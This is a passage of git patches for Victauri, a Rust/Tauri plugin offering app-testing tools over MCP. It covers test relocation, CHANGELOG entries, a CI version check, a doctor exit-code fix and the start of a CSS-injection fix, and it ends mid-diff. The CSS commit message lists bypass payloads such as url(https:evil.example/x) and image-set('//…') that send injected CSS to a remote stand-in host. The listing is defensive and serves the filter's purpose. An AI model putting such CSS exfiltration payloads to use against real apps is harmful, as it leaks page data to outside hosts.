path.extension().is_some_and(|e| e == "rs") { + let source = std::fs::read_to_string(&path).unwrap(); + out.push((path, source)); + } + } + } + let mut out = Vec::new(); + walk( + &std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("src"), + &mut out, + ); + out + } + + /// The same rule from the other side: `#[tauri::command]` makes a `fn` an async + /// command without the `async` keyword, and a command defined outside this file would escape + /// the check above. So: no `#[tauri::command(…)]` attribute anywhere in the crate may mention + /// `async`, and every command the plugin registers is sync except the two page waiters. + #[test] + fn every_registered_command_is_sync_except_the_page_waiters() { + let sources = crate_sources(); + for (path, source) in &sources { + for line in source.lines() { + let attr: String = line.chars().filter(|c| !c.is_whitespace()).collect(); + if attr.starts_with("#[tauri::command(") { + assert!( + !attr.contains("async"), + "{}: async command attribute `{}` — see \ + only_the_commands_that_wait_for_the_page_are_async", + path.display(), + line.trim() + ); + } + } + } + + let lib = include_str!("lib.rs"); + let start = lib + .find("generate_handler![") + .expect("lib.rs registers its commands with generate_handler!"); + let list = &lib[start + "generate_handler![".len()..]; + let list = &list[..list.find(']').expect("generate_handler! list is closed")]; + let registered: Vec<&str> = list + .split(',') + .map(str::trim) + .filter(|s| !s.is_empty()) + .collect(); + assert!(registered.len() >= 10, "parsed {registered:?}"); + for path in ®istered { + let name = path.rsplit("::").next().unwrap_or(path); + let sync_def = format!("pub fn {name}"); + let async_def = format!("pub async fn {name}"); + let defs: Vec = sources + .iter() + .flat_map(|(_, s)| s.lines()) + .map(str::trim_start) + .filter_map(|l| { + let is_def = |d: &str| { + l.strip_prefix(d) + .is_some_and(|rest| rest.starts_with(['<', '('])) + }; + if is_def(&async_def) { + Some(true) + } else if is_def(&sync_def) { + Some(false) + } else { + None + } + }) + .collect(); + assert_eq!(defs.len(), 1, "command {path}: expected one definition"); + let may_be_async = matches!(name, "victauri_eval_js" | "victauri_dom_snapshot"); + assert!( + !defs[0] || may_be_async, + "registered command {path} is async — only the page waiters may be" + ); + } + } } From 5fd705609560aab1d2aa0b4b2d0e553eb2eb964f Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:25:54 +1000 Subject: [PATCH 125/167] test(bridge): run the R5-JS1 projection tests from their own test binary The jsdom tests of the IPC-log projections (added with R5-JS1) ran inside the library test binary. Each spawns a seconds-long `node` child, and a full lib run then failed mcp::hardening's header-deadline test: on Windows the child inherited another test's server socket and held it open past its close (the reason tests/trusted_input_probes.rs lives apart). The projections are now exposed as #[doc(hidden)] `mcp::ipc_log_js` and the tests live in tests/bridge_r5_tests.rs. Also adapts tool_contract_tests' slow_ipc mock, which keyed on the exact text `getIpcLog()` that R5-JS1's body-free query replaced. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/mod.rs | 189 ++---------------- .../victauri-plugin/tests/bridge_r5_tests.rs | 164 +++++++++++++++ .../tests/tool_contract_tests.rs | 2 +- 3 files changed, 186 insertions(+), 169 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 4eb5c89a..63e8ae67 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -61,6 +61,18 @@ pub(crate) use compound_params::*; /// crate's own integration tests can run them in a JS engine. Not part of the supported API. #[doc(hidden)] pub use helpers::{trusted_click_probe_js, trusted_focus_probe_js}; + +/// The IPC-log JS the tools send to the page. Internal plumbing, `pub` only so the jsdom suite +/// (`tests/bridge_r5_tests.rs`) can run it against the real bridge — from a test binary of its +/// own, since a seconds-long `node` child spawned from the library tests can inherit (and hold +/// open) another test's server socket on Windows. +#[doc(hidden)] +pub mod ipc_log_js { + pub use super::helpers::{ + ghost_ipc_outcomes_js, ipc_catalog_projection_js, ipc_timing_projection_js, + }; + pub use super::{ipc_integrity_js, slow_ipc_js, trimmed_log_js}; +} pub(crate) use introspection_params::*; pub(crate) use other_params::{ AppStateParams, DiagnosticsParams, FindElementsParams, ResolveCommandParams, @@ -5606,7 +5618,9 @@ fn trim_field_js() -> String { /// JS for `check_ipc_integrity`. Classifies the calls from the body-free IPC view and fetches /// full entries (args + result) only for the <= 20 stale and <= 20 errored calls it lists: /// deep-copying every retained body just to count statuses froze the UI thread (R5-JS1). -fn ipc_integrity_js(threshold_ms: i64) -> String { +#[doc(hidden)] +#[must_use] +pub fn ipc_integrity_js(threshold_ms: i64) -> String { format!( r"return (function() {{ var V = window.__VICTAURI__; @@ -5650,7 +5664,9 @@ fn ipc_integrity_js(threshold_ms: i64) -> String { /// JS for `logs slow_ipc`: ranks the calls from the body-free IPC view, then fetches full /// (field-trimmed) entries only for the `limit` slowest it returns (R5-JS1). -fn slow_ipc_js(threshold_ms: u64, limit: usize) -> String { +#[doc(hidden)] +#[must_use] +pub fn slow_ipc_js(threshold_ms: u64, limit: usize) -> String { let trim_field = trim_field_js(); format!( r"return (function() {{ @@ -5678,7 +5694,9 @@ fn slow_ipc_js(threshold_ms: u64, limit: usize) -> String { /// the eval size cap on busy apps where individual entries carry large bodies. /// /// The returned code is a complete `return (...)` statement. -fn trimmed_log_js(source_expr: &str, limit: usize) -> String { +#[doc(hidden)] +#[must_use] +pub fn trimmed_log_js(source_expr: &str, limit: usize) -> String { let trim_field = trim_field_js(); format!( r"return (function() {{ @@ -9590,168 +9608,3 @@ mod screenshot_visibility_tests { ); } } - -/// The IPC-log projections the tools send to the page, run against the REAL bridge in jsdom -/// (the `tests/bridge_tests` runner). R5-JS1 made them read a body-free view and fetch bodies -/// only for the entries they report, so their output is pinned end to end here. -#[cfg(test)] -mod ipc_projection_jsdom_tests { - use super::{ - DEFAULT_LOG_LIMIT, ghost_ipc_outcomes_js, ipc_catalog_projection_js, ipc_integrity_js, - ipc_timing_projection_js, slow_ipc_js, trimmed_log_js, - }; - use std::io::Write; - - const TRAFFIC: &str = r#" - function call(cmd, args, headers) { - return fetch('http://ipc.localhost/' + cmd, { method: 'POST', body: JSON.stringify(args), headers: headers || {} }); - } - await call('get_a', { x: 1 }, { 'x-vtest-body': '{"n":1,"s":"a"}' }); - await call('get_a', { x: 2 }, { 'x-vtest-body': '{"n":2,"s":"b"}' }); - await call('bad_cmd', {}, { 'x-vtest-tauri-response': 'error', 'x-vtest-body': '"command bad_cmd not found"' }); - await call('delayed', { d: true }, { 'x-vtest-delay-ms': '80', 'x-vtest-body': '{"late":true}' }); - call('stuck', { p: 1 }, { 'x-vtest-delay-ms': '1500' }); - await new Promise(function(r) { setTimeout(r, 40); }); - "#; - - fn run(code: &str) -> Option { - let dir = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) - .join("tests") - .join("bridge_tests"); - if !dir.join("node_modules").join("jsdom").exists() { - assert!( - std::env::var_os("CI").is_none() - && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), - "jsdom is not installed: `npm ci` in crates/victauri-plugin/tests/bridge_tests/" - ); - eprintln!("SKIP: jsdom not installed"); - return None; - } - let def = serde_json::json!({ - "bridge_script": crate::js_bridge::init_script( - &crate::js_bridge::BridgeCapacities::default() - ), - "setup_html": "", - "tests": [{ "name": "projection", "code": format!("{TRAFFIC}\nreturn (function() {{ {code} }})();") }], - }); - let mut tmp = tempfile::NamedTempFile::new().expect("temp file"); - tmp.write_all(def.to_string().as_bytes()).expect("write"); - tmp.flush().expect("flush"); - let out = std::process::Command::new("node") - .arg(dir.join("run_tests.js")) - .arg(tmp.path()) - .output() - .expect("run node"); - let stdout = String::from_utf8_lossy(&out.stdout); - let line = stdout - .lines() - .find_map(|l| l.strip_prefix("VICTAURI_RESULTS:")) - .unwrap_or_else(|| panic!("no results: {stdout}")); - let results: serde_json::Value = serde_json::from_str(line).expect("results json"); - let r = &results[0]; - assert_eq!(r["passed"], true, "projection threw: {r}"); - Some(r["result"].clone()) - } - - #[test] - fn catalog_reports_first_arg_and_first_ok_result_shapes() { - let Some(v) = run(&ipc_catalog_projection_js()) else { - return; - }; - let by = |c: &str| { - v.as_array() - .unwrap() - .iter() - .find(|e| e["command"] == c) - .cloned() - .unwrap_or_else(|| panic!("{c} missing: {v}")) - }; - let a = by("get_a"); - assert_eq!(a["call_count"], 2, "{v}"); - assert_eq!(a["arg_shape"], serde_json::json!({ "x": "number" }), "{v}"); - assert_eq!( - a["result_shape"], - serde_json::json!({ "n": "number", "s": "string" }), - "{v}" - ); - let bad = by("bad_cmd"); - assert_eq!(bad["error_count"], 1, "{v}"); - assert_eq!(bad["result_shape"], "string", "{v}"); - let stuck = by("stuck"); - assert_eq!(stuck["last_status"], "pending", "{v}"); - assert_eq!( - stuck["arg_shape"], - serde_json::json!({ "p": "number" }), - "{v}" - ); - assert_eq!(stuck["result_shape"], "null", "{v}"); - } - - #[test] - fn ghost_outcomes_and_timings_come_from_the_body_free_view() { - let Some(v) = run(&ghost_ipc_outcomes_js(None)) else { - return; - }; - let bad = v - .as_array() - .unwrap() - .iter() - .find(|e| e["command"] == "bad_cmd") - .cloned() - .unwrap(); - assert_eq!(bad["ok"], false, "{v}"); - assert!( - bad["err"].as_str().unwrap().contains("not found"), - "the error sample must survive without bodies: {v}" - ); - let Some(t) = run(&ipc_timing_projection_js(None)) else { - return; - }; - assert_eq!(t.as_array().unwrap().len(), 5, "{t}"); - assert!(t[3]["duration_ms"].as_f64().unwrap() >= 60.0, "{t}"); - } - - #[test] - fn integrity_lists_stale_and_errored_calls_with_their_bodies() { - let Some(v) = run(&ipc_integrity_js(10)) else { - return; - }; - assert_eq!(v["healthy"], false, "{v}"); - assert_eq!(v["total_calls"], 5, "{v}"); - assert_eq!(v["stale_count"], 1, "{v}"); - assert_eq!(v["error_count"], 1, "{v}"); - assert_eq!(v["stale_calls"][0]["command"], "stuck", "{v}"); - assert_eq!(v["stale_calls"][0]["args"]["p"], 1, "{v}"); - assert_eq!( - v["errored_calls"][0]["result"], "command bad_cmd not found", - "{v}" - ); - } - - #[test] - fn slow_ipc_returns_the_slowest_calls_with_their_bodies() { - let Some(v) = run(&slow_ipc_js(50, 20)) else { - return; - }; - assert_eq!(v["count"], 1, "{v}"); - assert_eq!(v["calls"][0]["command"], "delayed", "{v}"); - assert_eq!(v["calls"][0]["args"]["d"], true, "{v}"); - assert_eq!(v["calls"][0]["result"]["late"], true, "{v}"); - } - - #[test] - fn logs_ipc_source_keeps_the_newest_entries() { - let code = trimmed_log_js("window.__VICTAURI__?.getIpcLog(2)", DEFAULT_LOG_LIMIT); - let Some(v) = run(&code) else { - return; - }; - let cmds: Vec<&str> = v - .as_array() - .unwrap() - .iter() - .map(|e| e["command"].as_str().unwrap()) - .collect(); - assert_eq!(cmds, ["delayed", "stuck"], "{v}"); - assert_eq!(v[0]["result"]["late"], true, "{v}"); - } -} diff --git a/crates/victauri-plugin/tests/bridge_r5_tests.rs b/crates/victauri-plugin/tests/bridge_r5_tests.rs index a54276aa..02f79131 100644 --- a/crates/victauri-plugin/tests/bridge_r5_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5_tests.rs @@ -223,6 +223,170 @@ fn r5_js1_ipc_log_reads_are_not_proportional_to_total_body_bytes() { ); } +/// R5-JS1: the IPC-log projections the tools send to the page, run against the REAL bridge in +/// jsdom. R5-JS1 made them read a body-free view and fetch bodies +/// only for the entries they report, so their output is pinned end to end here. +mod r5_js1_ipc_projections { + use std::io::Write; + use victauri_plugin::mcp::ipc_log_js::{ + ghost_ipc_outcomes_js, ipc_catalog_projection_js, ipc_integrity_js, + ipc_timing_projection_js, slow_ipc_js, trimmed_log_js, + }; + + const TRAFFIC: &str = r#" + function call(cmd, args, headers) { + return fetch('http://ipc.localhost/' + cmd, { method: 'POST', body: JSON.stringify(args), headers: headers || {} }); + } + await call('get_a', { x: 1 }, { 'x-vtest-body': '{"n":1,"s":"a"}' }); + await call('get_a', { x: 2 }, { 'x-vtest-body': '{"n":2,"s":"b"}' }); + await call('bad_cmd', {}, { 'x-vtest-tauri-response': 'error', 'x-vtest-body': '"command bad_cmd not found"' }); + await call('delayed', { d: true }, { 'x-vtest-delay-ms': '80', 'x-vtest-body': '{"late":true}' }); + call('stuck', { p: 1 }, { 'x-vtest-delay-ms': '1500' }); + await new Promise(function(r) { setTimeout(r, 40); }); + "#; + + fn run(code: &str) -> Option { + let dir = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests"); + if !dir.join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed: `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed"); + return None; + } + let def = serde_json::json!({ + "bridge_script": victauri_plugin::js_bridge::init_script( + &victauri_plugin::js_bridge::BridgeCapacities::default() + ), + "setup_html": "", + "tests": [{ "name": "projection", "code": format!("{TRAFFIC}\nreturn (function() {{ {code} }})();") }], + }); + let mut tmp = tempfile::NamedTempFile::new().expect("temp file"); + tmp.write_all(def.to_string().as_bytes()).expect("write"); + tmp.flush().expect("flush"); + let out = std::process::Command::new("node") + .arg(dir.join("run_tests.js")) + .arg(tmp.path()) + .output() + .expect("run node"); + let stdout = String::from_utf8_lossy(&out.stdout); + let line = stdout + .lines() + .find_map(|l| l.strip_prefix("VICTAURI_RESULTS:")) + .unwrap_or_else(|| panic!("no results: {stdout}")); + let results: serde_json::Value = serde_json::from_str(line).expect("results json"); + let r = &results[0]; + assert_eq!(r["passed"], true, "projection threw: {r}"); + Some(r["result"].clone()) + } + + #[test] + fn catalog_reports_first_arg_and_first_ok_result_shapes() { + let Some(v) = run(&ipc_catalog_projection_js()) else { + return; + }; + let by = |c: &str| { + v.as_array() + .unwrap() + .iter() + .find(|e| e["command"] == c) + .cloned() + .unwrap_or_else(|| panic!("{c} missing: {v}")) + }; + let a = by("get_a"); + assert_eq!(a["call_count"], 2, "{v}"); + assert_eq!(a["arg_shape"], serde_json::json!({ "x": "number" }), "{v}"); + assert_eq!( + a["result_shape"], + serde_json::json!({ "n": "number", "s": "string" }), + "{v}" + ); + let bad = by("bad_cmd"); + assert_eq!(bad["error_count"], 1, "{v}"); + assert_eq!(bad["result_shape"], "string", "{v}"); + let stuck = by("stuck"); + assert_eq!(stuck["last_status"], "pending", "{v}"); + assert_eq!( + stuck["arg_shape"], + serde_json::json!({ "p": "number" }), + "{v}" + ); + assert_eq!(stuck["result_shape"], "null", "{v}"); + } + + #[test] + fn ghost_outcomes_and_timings_come_from_the_body_free_view() { + let Some(v) = run(&ghost_ipc_outcomes_js(None)) else { + return; + }; + let bad = v + .as_array() + .unwrap() + .iter() + .find(|e| e["command"] == "bad_cmd") + .cloned() + .unwrap(); + assert_eq!(bad["ok"], false, "{v}"); + assert!( + bad["err"].as_str().unwrap().contains("not found"), + "the error sample must survive without bodies: {v}" + ); + let Some(t) = run(&ipc_timing_projection_js(None)) else { + return; + }; + assert_eq!(t.as_array().unwrap().len(), 5, "{t}"); + assert!(t[3]["duration_ms"].as_f64().unwrap() >= 60.0, "{t}"); + } + + #[test] + fn integrity_lists_stale_and_errored_calls_with_their_bodies() { + let Some(v) = run(&ipc_integrity_js(10)) else { + return; + }; + assert_eq!(v["healthy"], false, "{v}"); + assert_eq!(v["total_calls"], 5, "{v}"); + assert_eq!(v["stale_count"], 1, "{v}"); + assert_eq!(v["error_count"], 1, "{v}"); + assert_eq!(v["stale_calls"][0]["command"], "stuck", "{v}"); + assert_eq!(v["stale_calls"][0]["args"]["p"], 1, "{v}"); + assert_eq!( + v["errored_calls"][0]["result"], "command bad_cmd not found", + "{v}" + ); + } + + #[test] + fn slow_ipc_returns_the_slowest_calls_with_their_bodies() { + let Some(v) = run(&slow_ipc_js(50, 20)) else { + return; + }; + assert_eq!(v["count"], 1, "{v}"); + assert_eq!(v["calls"][0]["command"], "delayed", "{v}"); + assert_eq!(v["calls"][0]["args"]["d"], true, "{v}"); + assert_eq!(v["calls"][0]["result"]["late"], true, "{v}"); + } + + #[test] + fn logs_ipc_source_keeps_the_newest_entries() { + let code = trimmed_log_js("window.__VICTAURI__?.getIpcLog(2)", 100); + let Some(v) = run(&code) else { + return; + }; + let cmds: Vec<&str> = v + .as_array() + .unwrap() + .iter() + .map(|e| e["command"].as_str().unwrap()) + .collect(); + assert_eq!(cmds, ["delayed", "stuck"], "{v}"); + assert_eq!(v[0]["result"]["late"], true, "{v}"); + } +} + // ── R5-JS2: a page's throwing toJSON cannot make every eval hang ───────────── /// A Tauri-like `invoke` stub: serializes the args with the page's (global, looked up at call diff --git a/crates/victauri-plugin/tests/tool_contract_tests.rs b/crates/victauri-plugin/tests/tool_contract_tests.rs index d5511766..959b2438 100644 --- a/crates/victauri-plugin/tests/tool_contract_tests.rs +++ b/crates/victauri-plugin/tests/tool_contract_tests.rs @@ -1934,7 +1934,7 @@ async fn logs_events_happy_path() { async fn logs_slow_ipc_happy_path() { let state = test_state(); let base = start_callback_server(state, &["main"], |script| { - if script.contains("getIpcLog()") { + if script.contains("getIpcLog(") { r#"[{"command":"slow_cmd","duration_ms":500},{"command":"fast_cmd","duration_ms":5}]"# .to_string() } else { From c1a5f5e3f8460d2616cc27a000d2231b4e23e893 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:46:51 +1000 Subject: [PATCH 126/167] docs: round-5 CHANGELOG for the bridge, client and extension fixes; fix a private intra-doc link The ipc_log_js projections are now reachable as (hidden) public items, so ipc_timing_projection_js's doc link to the private ghost_ipc_projection_js failed RUSTDOCFLAGS=-D warnings. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 39 +++++++++++++++++++++++ crates/victauri-plugin/src/mcp/helpers.rs | 2 +- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1efc7816..3ec7f6d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -507,6 +507,45 @@ The remainder of this entry is the first (full-surface) audit round, merged in # `screencast` items. It now lists every removed, hidden and newly `#[non_exhaustive]` item that `cargo semver-checks --release-type minor` reports against 0.8.8 for core, plugin and test. CONTRIBUTING.md no longer presents the hidden `acquire_*` helpers as API. +- **Regression fixed: reading the IPC or network log froze the app's UI for about a second.** + Round 3 made every log read hand out deep copies, but `getIpcLog(limit)` / `getNetworkLog` + copied every retained entry (up to 1,000 calls with bodies) before applying the limit — 859 ms + per read with 1,000 × 56 KB bodies, against ~2 ms in 0.8.8, on the UI thread, for `logs ipc`, + `slow_ipc`, ghost detection, coverage, `command_timings`, `command_catalog`, the ipc-log resource + and `check_ipc_integrity` (which read both logs). Entries are now selected and limited first and + only the returned ones are copied (still copies, never the live objects); name/status/timing + projections use a body-free view; `waitForIpcComplete` reads the newest call in place. +- **An eval could hang until its timeout** when page script made `Object.prototype.toJSON` throw: + the bridge marked the eval done and then failed to serialize both the result and its own error + fallback, and Tauri serializes callback arguments with the page's `JSON.stringify`. Outcomes (and + probe/ready signals) are now built from strings on prototype-less objects, and an unserializable + result comes back as `__victauri_unserializable`. +- **Clicks on web-component content failed as "covered":** a hit point on slotted light-DOM + content was not recognised as inside its shadow host (bridge `composedContains` and the trusted- + click probe). Both now follow `assignedSlot`. +- Route globs: `?` was an unescaped regex token, so `*/api/search?q=*` never matched; `*` is the + only wildcard and `?` now matches itself. Uncaught-error and unhandled-rejection messages are + capped at 4,096 characters like console messages; `route add` parses its rule with the pristine + `JSON.parse`; `logs … limit=0` returns no entries (it returned all of them). +- **The watchdog's `--app` was case-sensitive** while the bridge and victauri-test match + identifiers ASCII case-insensitively, and a selector that matches nothing reads as "app down" — + so `--app com.mock.app` against a healthy `com.Mock.App` fired the recovery command in a loop. It + now matches exactly like the bridge. +- CLI bridge: a JSON-RPC batch (a JSON array) is answered locally with one `-32600` error per + request (MCP removed batching in 2025-06-18; the server rejects batches without running them), + instead of being forwarded — re-sent after a post-send failure — with its reply dropped; a blank + `VICTAURI_APP=` / `--app ""` counts as unset (it selected an app named "" and every call said + "backend not reachable"); a client's JSON-RPC *response* is never answered with an invented + error; a tool call whose SSE response dies mid-stream now says it may already have run (it said + "empty or non-JSON response"). +- victauri-test: JUnit XML could contain characters XML 1.0 forbids (an ANSI escape in a page's + console error made the whole report unparseable); they are replaced and tab/LF/CR are kept as + character references. Page text in `verify()` check details, `assert_all_passed` panics and + Locator errors goes through the same terminal sanitizer as the smoke summary, so it cannot drive + the terminal or start a `::error` workflow command in a CI log. +- VS Code extension (released separately): it no longer re-sends the Bearer token to a port its app + no longer owns (discovery is re-checked before every token-bearing request), and refresh polls + cannot overlap. ## [0.8.8] - 2026-08-12 diff --git a/crates/victauri-plugin/src/mcp/helpers.rs b/crates/victauri-plugin/src/mcp/helpers.rs index 205e883a..5a02946f 100644 --- a/crates/victauri-plugin/src/mcp/helpers.rs +++ b/crates/victauri-plugin/src/mcp/helpers.rs @@ -254,7 +254,7 @@ pub fn build_ghost_report( /// real app that easily exceeds the eval result cap, which silently returned an empty /// string and made `coverage`/`command_timings` report **zero** real traffic even /// while the app was making hundreds of calls. This minimal projection stays small. -/// `since_ms` time-windows like [`ghost_ipc_projection_js`]. +/// `since_ms` time-windows like `ghost_ipc_projection_js`. #[must_use] pub fn ipc_timing_projection_js(since_ms: Option) -> String { let filter = match since_ms { From ef220392272f47fdf9317816457e0c07a427c035 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 01:43:02 +1000 Subject: [PATCH 127/167] ci, docs: rusqlite-range job asserts it reached the newest minor; honest MSRV note; reflow a CHANGELOG line (R5B-REL) The rusqlite-range job printed the resolved version but never checked it, so a failed/partial update would have kept testing 0.32 green. Getting-started now says the 1.88 MSRV is Victauri's own (lockfile) and that a fresh tauri 2.12 tree needs 1.90. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- .github/workflows/ci.yml | 12 +++++++++++- CHANGELOG.md | 4 +++- docs/src/getting-started.md | 4 +++- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 9ead9985..fc0fc008 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -454,9 +454,19 @@ jobs: toolchain: stable - name: Move rusqlite to the newest version the range allows + # Fails if the update did not reach the newest minor the workspace range allows + # (`>=0.32, <0.41` in Cargo.toml) — otherwise this job would silently keep testing 0.32. + # Widen NEWEST together with the range. + env: + NEWEST: "0.40." run: | cargo update -p rusqlite - grep -A1 '^name = "rusqlite"' Cargo.lock + resolved=$(grep -A1 '^name = "rusqlite"' Cargo.lock | sed -n 's/^version = "\(.*\)"/\1/p') + echo "rusqlite resolved to ${resolved:-}" + case "$resolved" in + "$NEWEST"*) ;; + *) echo "::error::rusqlite resolved to '$resolved', expected $NEWEST* (the newest the range allows)"; exit 1 ;; + esac - name: Clippy (plugin, sqlite) run: cargo clippy -p victauri-plugin --all-targets --features sqlite -- -D warnings diff --git a/CHANGELOG.md b/CHANGELOG.md index 3ec7f6d9..20dbb7f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -121,7 +121,9 @@ app probes are bounded; page-callable window queries are budgeted; drain-waterma races fixed; the main-thread lock stays held while an abandoned closure still runs; fault, contract and page-load maps are capped; panicked background tasks are reported finished; WGC capture runs on one COM thread with a bounded wait; `Locator::check()` works on ARIA checkboxes; -`victauri check` lists ghost names; `recording stop` flushes every window first (events captured since the last 1 s drain tick were dropped; a window that cannot answer within 3 s is reported in `final_flush_unreachable`); a request the guards refuse (401/403/415/429) closes its +`victauri check` lists ghost names; `recording stop` flushes every window first (events captured +since the last 1 s drain tick were dropped; a window that cannot answer within 3 s is reported in +`final_flush_unreachable`); a request the guards refuse (401/403/415/429) closes its connection, so refused requests (a web page's no-cors fetches, a local script) cannot park the 256 request slots, and a connection takes a request slot only once it has sent its first byte — a connection that sends nothing (a page's `` across `*.localhost` names diff --git a/docs/src/getting-started.md b/docs/src/getting-started.md index 78daf9bd..415e3ee5 100644 --- a/docs/src/getting-started.md +++ b/docs/src/getting-started.md @@ -5,7 +5,9 @@ Get Victauri running in your Tauri app in under 5 minutes. ## Prerequisites - A Tauri 2.0+ application -- Rust toolchain (stable) +- Rust toolchain (stable). Victauri's own MSRV is 1.88 (checked in CI against the committed + lockfile). Your app's dependency tree can raise that: a fresh project resolving tauri 2.12 needs + Rust 1.90. - An MCP client (Claude Code, VS Code, or any MCP-compatible tool) ## Step 1: Add the Dependency From 790af9db4fe393589f7cf4ed15a8c0992fb8b017 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 01:47:42 +1000 Subject: [PATCH 128/167] fix(cli): victauri doctor exits 1 when any check FAILs (R5B-DOCTOR1) The doctor printed [FAIL] items and a 'Setup needs attention' summary but always exited 0, so a CI step running it could never fail. It now exits 1 when any check fails; warnings alone still exit 0. E2E test runs doctor in a directory with no Cargo.toml and asserts exit code 1. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/main.rs | 13 +++++++++---- crates/victauri-cli/tests/cli_e2e.rs | 18 ++++++++++++++++++ 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/crates/victauri-cli/src/main.rs b/crates/victauri-cli/src/main.rs index 755756c5..3a970e20 100644 --- a/crates/victauri-cli/src/main.rs +++ b/crates/victauri-cli/src/main.rs @@ -161,7 +161,11 @@ async fn main() -> Result<()> { cmd_test(max_load_ms, max_heap_mb, junit.as_deref(), &target).await?; } Commands::Doctor { target } => { - cmd_doctor(&target).await?; + // A `[FAIL]` exits 1 so a CI step running `victauri doctor` fails with it + // (R5B-DOCTOR1); warnings alone still exit 0. + if cmd_doctor(&target).await? > 0 { + std::process::exit(1); + } } Commands::Bridge { wait, app } => { bridge::run(wait, app).await?; @@ -728,7 +732,8 @@ async fn cmd_check(junit_path: Option<&Path>, target: &AppTarget) -> Result<()> Ok(()) } -async fn cmd_doctor(target: &AppTarget) -> Result<()> { +/// Run every doctor check and print the summary; returns the number of `[FAIL]` items. +async fn cmd_doctor(target: &AppTarget) -> Result { eprintln!("Victauri Doctor — checking your setup...\n"); let mut pass_count = 0u32; @@ -746,7 +751,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result<()> { eprintln!(" Run this command from your Tauri project root.\n"); fail_count += 1; print_doctor_summary(pass_count, fail_count, warn_count); - return Ok(()); + return Ok(fail_count); }; // Check 2: Tauri dependency @@ -970,7 +975,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result<()> { eprintln!(); print_doctor_summary(pass_count, fail_count, warn_count); - Ok(()) + Ok(fail_count) } fn print_doctor_summary(pass: u32, fail: u32, warn: u32) { diff --git a/crates/victauri-cli/tests/cli_e2e.rs b/crates/victauri-cli/tests/cli_e2e.rs index 21ef00e5..6c98aca4 100644 --- a/crates/victauri-cli/tests/cli_e2e.rs +++ b/crates/victauri-cli/tests/cli_e2e.rs @@ -306,3 +306,21 @@ fn init_prints_a_hostile_identifier_on_one_escaped_line() { "{err}" ); } + +/// R5B-DOCTOR1: `victauri doctor` printed `[FAIL]` items but always exited 0, so a CI step +/// running it could never fail. A FAIL exits 1; warnings alone do not. +#[test] +fn doctor_exits_nonzero_when_a_check_fails() { + let iso = IsolatedTemp::new(); + // No Cargo.toml here: the very first check FAILs. + let empty = iso.0.path().join("empty"); + std::fs::create_dir_all(&empty).unwrap(); + let out = iso + .victauri(&["doctor"]) + .current_dir(&empty) + .output() + .unwrap(); + let err = stderr(&out); + assert!(err.contains("[FAIL]"), "{err}"); + assert_eq!(out.status.code(), Some(1), "a FAIL must exit 1:\n{err}"); +} From ce6b51b9f135e7cfe6f39bd21144dfa08b58de14 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:10:11 +1000 Subject: [PATCH 129/167] fix(css): allowlist-based remote-URL check for css inject (R5B-CSS1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The anti-exfiltration check only rejected a leading `//` or a `://` inside `url(...)`, so `url(https:evil.example/x)`, `url("https:\5c\5c evil…")`, `url(http:/evil…)`, `image-set("https://…")` and `-webkit-image-set("//…")` all passed while resolving to a remote origin. Stripping comments before the scan also let a `/*` inside a string or url() hide a real remote url() after it. Replace the substring scan with a minimal CSS Syntax 3 tokenizer (comments, strings, url tokens, escaped idents/at-keywords, function nesting) and an allowlist: in a URL position (url token, strings in url()/src()/image-set()/ -webkit-image-set()/image()/cross-fade()) only data: or a scheme-less, non-network-path reference passes; any other string that names a remote host (special scheme or //host) is rejected too, since var() can carry it into an image function. @import stays blocked in every form. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/helpers.rs | 497 ++++++++++++++++++---- 1 file changed, 416 insertions(+), 81 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/helpers.rs b/crates/victauri-plugin/src/mcp/helpers.rs index 5a02946f..dd95a060 100644 --- a/crates/victauri-plugin/src/mcp/helpers.rs +++ b/crates/victauri-plugin/src/mcp/helpers.rs @@ -703,71 +703,270 @@ pub fn sanitize_css_color(color: &str) -> Result { Ok(s.to_string()) } -/// Strip CSS `/* ... */` comments so a scan cannot be evaded by hiding `@import`/`url(` -/// inside a comment that the browser's CSS parser ignores. -fn strip_css_comments(css: &str) -> String { - let bytes = css.as_bytes(); - let mut 